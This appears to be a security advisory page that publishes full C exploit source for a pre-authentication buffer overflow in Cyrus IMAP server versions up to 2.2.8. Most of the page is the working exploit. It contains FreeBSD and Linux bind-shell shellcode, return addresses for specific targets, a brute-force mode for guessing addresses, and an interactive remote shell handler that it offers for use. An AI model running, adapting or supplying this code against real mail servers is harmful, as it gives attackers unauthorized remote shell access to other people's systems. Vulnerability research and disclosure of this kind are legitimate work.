Cyrus IMAP Server Preauthentification OverflowSummary
As reported earlier, Cyrus IMAP server suffer from a pre-authentication buffer overflow. For more information see: http://www.securiteam.com/unixfocus/6N00N0UBPO.html.
Provided here is an exploit code for the Cyrus pre-authentication vulnerability with a FreeBSD portbind shellcode.
Credit:
The information has been provided by EOS-India.
Details
Exploit Code:
/*
* THE EYE ON SECURITY RESEARCH GROUP INDIA - root@eos-india.net
*
* 305imapmagic.c - n2n/#eos - 24/11/2004
* Cyrus IMAP Server <=2.2.8 IMAPMAGICPLUS preauthentification overflow
* Copyright (c) Nilanjan De <n2n@eos-india.net> , http://www.eos-india.net
*
* Credits: Bug found by Stefan Essar of Team .... e-matters.de??,
* FreeBSD portbind shellcode by raptor
*
* Advisory URL: http://security.e-matters.de/advisories/152004.html
*
* Note: Exploitation is pretty straight-forward. One thing to keep in mind is
* that certain characters like '(',')','"', etc are filtered by cyrus-imapd
* so shellcode and return address cannot contain those characters.
*
*
* Greetz: Gyan, jaguar, Team TESO, gera, raptor, all the ppl in
* irc.pulltheplug.org,...
*
* Update: 31/4/2005: no use keeping this private anymore.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/errno.h>
#include <stdarg.h>
#include <string.h>
#define IMAP_PORT 143
#define BIND_PORT 31337
#define BUFMIN 491
#define BUFLEN 8192
#define RET 0x08144024 //0xbfbfcd8c
#define RET_START 0x08142000
#define RET_END 0x08146000
#define NRETS 5
#define TIMEOUT 10
#define MAX(a,b) ((a) > (b) ? (a) : (b))
#define MIN(a,b) ((a) > (b) ? (b) : (a))
#define BSD_PORT_OFFSET 27
#define LNX_PORT_OFFSET 45
int connect_to(char *host, unsigned int port, unsigned int timeout);
void sock_printf(int fd, char *fmt,...);
void usage(char *prog);
void doshell(int sock);
int allowed(unsigned char byte);
void fixnull(unsigned long *addr);
int check_shellcode(char *shellcode);
/*
* portbind-bsd.c - setuid/portbind shellcode for *BSD/x86 Copyright (c) 2003
* Marco Ivaldi <raptor@0xdeadbeef.info>
*/
char portbind_bsd[] =/* 8 + 86 = 94 bytes */
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80"
"\x89\xc3\x52\x66\x68"
"\x7a\x69" // port 31337 / tcp, change if needed
"\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80"
"\x51\x53\x53\xb0\x6a\xcd\x80"
"\x52\x52\x53\x53\xb0\x1e\xcd\x80"
"\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80"
"\x41\xe2\xf5\x51\x68//sh\x68/bin\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80";
/* Ripped code. Binds shell on 45295 */
char portbind_linux[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
struct target {
char *description;
unsigned int bufsize;
unsigned long retaddr;
unsigned long brutestart;
unsigned long bruteend;
char *shellcode;
};
struct target targets[]
= {
{"FreeBSD 5.x, Cyrus Imapd 2.2.8", 533, 0x08144024, 0x08140000, 0x08148000, portbind_bsd},
{"Fedora Core w/o bigmem/execshield, Cyrus Imapd 2.2.8",533,0x08134320,0x08130000,0x08138000,portbind_linux},
{NULL, 0, 0, 0, 0, NULL}
};
int
connect_to(char *host, unsigned int port, unsigned int timeout)
{
struct hostent *h;
struct sockaddr_in sin, addr;
int sock, flags, len;
fd_set rd, wr;
struct timeval tv;
if ((h = gethostbyname(host)) == NULL) {
#ifdef DEBUG
perror("gethostbyname");
#endif
return -1;
}
sin.sin_addr = *((struct in_addr *) h->h_addr);
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
#ifdef DEBUG
perror("socket");
#endif
return -1;
}
fcntl(sock, F_SETFL, O_NONBLOCK);
if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0) {
FD_ZERO(&rd);
FD_ZERO(&wr);
FD_SET(sock, &rd);
FD_SET(sock, &wr);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;
if (select(sock + 1, &rd, &wr, 0, &tv) <= 0) {
#ifdef DEBUG
perror("select");
#endif
return -1;
}
if (!FD_ISSET(sock, &rd) && !FD_ISSET(sock, &wr)) {
#ifdef DEBUG
perror("connect");
#endif
return -1;
}
len = sizeof(addr);
if (getpeername(sock, (struct sockaddr *) & addr, &len) < 0) {
#ifdef DEBUG
perror("getpeername");
#endif
return -1;
}
}
flags = fcntl(sock, F_GETFL, NULL);
fcntl(sock, F_SETFL, flags & ~O_NONBLOCK);
return sock;
}
int
allowed(unsigned char byte)
{
switch(byte){
case ' ':
case '(':
case ')':
case '\"':
case 0x00:
return 0;
break;
default:
return 1;
break;
}
}
void
fixnull(unsigned long *addr)
{
unsigned char byte1, byte2, byte3, byte4;
byte1 = (*addr >> 24) & 0xFF;
if (!allowed(byte1)) {
while (!allowed(++byte1));
*((unsigned char *)addr + 3) = byte1;
*((unsigned char *)addr + 2) = 0;
*((unsigned char *)addr + 1) = 0;
*((unsigned char *)addr + 0) = 0;
}
byte2 = (*addr >> 16) & 0xFF;
if (!allowed(byte2)) {
while(!allowed(++byte2));
*((unsigned char *)addr + 2) = byte2;
*((unsigned char *)addr + 1) = 0;
*((unsigned char *)addr + 0) = 0;
}
byte3 = (*addr >> 8) & 0xFF;
if (!allowed(byte3)) {
while (!allowed(++byte3));
*((unsigned char *)addr + 1) = byte3;
*((unsigned char *)addr + 0) = 0;
}
byte4 = (*addr) & 0xFF;
if (!allowed(byte4)) {
while (!allowed(++byte4));
*((unsigned char *)addr) = byte4;
}
}
void
sock_printf(int fd, char *fmt,...)
{
va_list ap;
char buf[BUFLEN];
memset(&buf, 0, sizeof(buf));
va_start(ap, fmt);
vsnprintf(buf, (sizeof(buf) - 1), fmt, ap);
if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
#ifdef DEBUG
perror("send");
#endif
exit(EXIT_FAILURE);
}
return;
}
void
usage(char *prog)
{
unsigned int i;
printf("Usage: %s -h <host> [options]\n", prog);
printf("Options:\n");
printf("\t-h <host>\tHost or IP\n");
printf("\t-p <port>\timapd port(default 143)\n");
printf("\t-s <size>\tbuffersize(minimum 491,default 533)\n");
printf("\t-b\t\tbrute force mode\n");
printf("\t-v\t\tverbose mode\n");
printf("\t-B\t\tPort to bind shell (Default: 31337)\n");
printf("\t-T <timeout>\ttimeout in seconds\n");
printf("\t-t <target>\ttarget number\n");
printf("Targets:\n");
for (i = 0; targets[i].description != NULL; i++)
printf("\t%d\t%s\n", i, targets[i].description);
exit(EXIT_FAILURE);
}
void
doshell(int sock)
{
char buf[BUFLEN];
fd_set input;
/* Enjoy remote shell ;) */
send(sock, "uname -a; id;\n", 14, 0);
while (1) {
FD_ZERO(&input);
FD_SET(fileno(stdin), &input);
FD_SET(sock, &input);
if ((select(MAX(sock, fileno(stdin)) + 1, &input, NULL, NULL, NULL)) < 0) {
if (errno == EINTR)
continue;
printf("+ Connection Closed\n");
fflush(stdout);
close(sock);
exit(EXIT_SUCCESS);
}
if (FD_ISSET(sock, &input))
write(fileno(stdout), buf, read(sock, buf, BUFLEN));
if (FD_ISSET(fileno(stdin), &input))
write(sock, buf, read(fileno(stdin), buf, BUFLEN));
}
}
int
check_shellcode(char *shellcode)
{
int i,n;
for(i=0,n=0;shellcode[i];n+=allowed(shellcode[i++]));
return i-n;
}
int
main(int argc, char **argv)
{
unsigned short port = IMAP_PORT,bind_port=BIND_PORT;
unsigned long n = 0, nmin = BUFMIN, targetnum = 0, timeout = TIMEOUT;
unsigned long i, targetmax;
unsigned long retaddr = 0, ret_start = 0, ret_end = 0;
char c, *shellcode = portbind_bsd, *buf, *victim = NULL;
int s, brute = 0, verbose = 0;
for (targetmax = 0; targets[targetmax].description != NULL; targetmax++);
while ((c = getopt(argc, argv, "h:p:r:s:t:T:B:bv")) != EOF) {
switch (c) {
case 'h':
victim = optarg;
break;
case 'p':
port = (unsigned short)strtoul(optarg, NULL, 0);
break;
case 'r':
retaddr = strtoul(optarg, NULL, 0);
ret_start = retaddr;
break;
case 's':
n = strtoul(optarg, NULL, 0);
if (n < nmin) {
printf("Buffersize too small\n");
usage(argv[0]);
}
break;
case 't':
targetnum = strtoul(optarg, NULL, 0);
if (targetnum >= targetmax) {
printf("Invalid target number\n");
usage(argv[0]);
}
shellcode = targets[targetnum].shellcode;
if (!retaddr)
retaddr = targets[targetnum].retaddr;
if (!n)
n = targets[targetnum].bufsize;
if (!ret_start)
ret_start = targets[targetnum].brutestart;
ret_end = targets[targetnum].bruteend;
break;
case 'T':
timeout = strtoul(optarg, NULL, 0);
break;
case 'b':
brute = 1;
verbose = 1;
break;
case 'v':
verbose = 1;
break;
case 'B':
bind_port = (unsigned short)strtoul(optarg, NULL, 0);
break;
default:
usage(argv[0]);
break;
}
}
if (!victim)
usage(argv[0]);
/* defaults */
if (!n)
n = 533;
if (!retaddr)
retaddr = RET;
if (!ret_start)
ret_start = RET_START;
if (!ret_end)
ret_end = RET_END;
*((unsigned short *)(portbind_bsd + BSD_PORT_OFFSET)) = htons(bind_port);
*((unsigned short *)(portbind_linux + LNX_PORT_OFFSET)) = htons(bind_port);
if ((i=check_shellcode(shellcode))){
printf("- Shellcode has %u bad characters\n",i);
exit(EXIT_FAILURE);
}
if (nmin < strlen(shellcode) + NRETS * 4 + 20) {
printf("- Shellcode too big\n");
exit(EXIT_FAILURE);
}
buf = (char *)malloc(n * sizeof(char));
if (NULL == buf) {
#ifdef DEBUG
perror("malloc");
#endif
exit(EXIT_FAILURE);
}
if (brute) {
retaddr = ret_start;
printf("+ Brute force mode\n");
}
do {
if ((s = connect_to(victim, port, timeout)) < 0) {
printf("- Unable to connect\n");
exit(EXIT_FAILURE);
}
#ifdef DEBUG
printf("Attach");
scanf("%c", &i);
#endif
if ((i = read(s, buf, n)) < 0) {
#ifdef DEBUG
perror("read");
#endif
exit(EXIT_FAILURE);
}
buf[i] = 0;
if (verbose && !brute)
printf("+ Got Banner\n%s\n", buf); /* cyrus is greeting us */
memset(buf, 'G', n - 1);
fixnull(&retaddr);
for (i = 0; i < NRETS; i++)
*((unsigned long *)(buf + n - 5 - i * 4)) = retaddr;
memcpy(buf + n - 5 - i * 4 - strlen(shellcode), shellcode, strlen(shellcode));
buf[n - 1] = 0;
sock_printf(s, "a001 LOGIN %s pass\r\n", buf); /* we greet cyrus here */
if (verbose)
printf("+ Sending evil request[SIZE=%d][RET=%p]...", n, retaddr);
if (!brute)
sleep(2);
close(s);
if ((s = connect_to(victim, bind_port, timeout)) < 0) {
if (verbose)
printf("Failed\n");
} else {
if (verbose) printf("Success\n");
printf("+ Seems we got a shell, have fun\n");
doshell(s);
exit(EXIT_SUCCESS);
}
retaddr += (n - strlen(shellcode) - NRETS * 4 - 1) / 2;
} while (brute && (retaddr < ret_end));
/* program shdn't reach this point */
exit(EXIT_FAILURE);
}